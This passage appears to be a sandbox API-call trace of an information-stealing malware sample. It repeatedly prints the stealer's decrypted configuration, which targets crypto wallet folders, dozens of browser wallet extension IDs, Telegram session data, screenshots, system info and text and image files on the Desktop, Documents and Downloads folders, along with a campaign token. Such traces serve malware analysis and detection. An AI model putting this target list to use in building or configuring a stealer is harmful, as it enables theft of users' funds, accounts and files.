Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.756] lstrlenW (lpString="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4137 [0259.756] lstrlenW (lpString="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4137 [0259.756] LocalAlloc (uFlags=0x40, uBytes=0x2052) returned 0x6b9720 [0259.756] lstrlenW (lpString="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4137 [0259.756] LocalAlloc (uFlags=0x40, uBytes=0x2052) returned 0x6bb780 [0259.756] lstrlenW (lpString="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4137 [0259.756] LocalAlloc (uFlags=0x40, uBytes=0x2052) returned 0x6bd7e0 [0259.756] StrStrW (lpFirst="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension 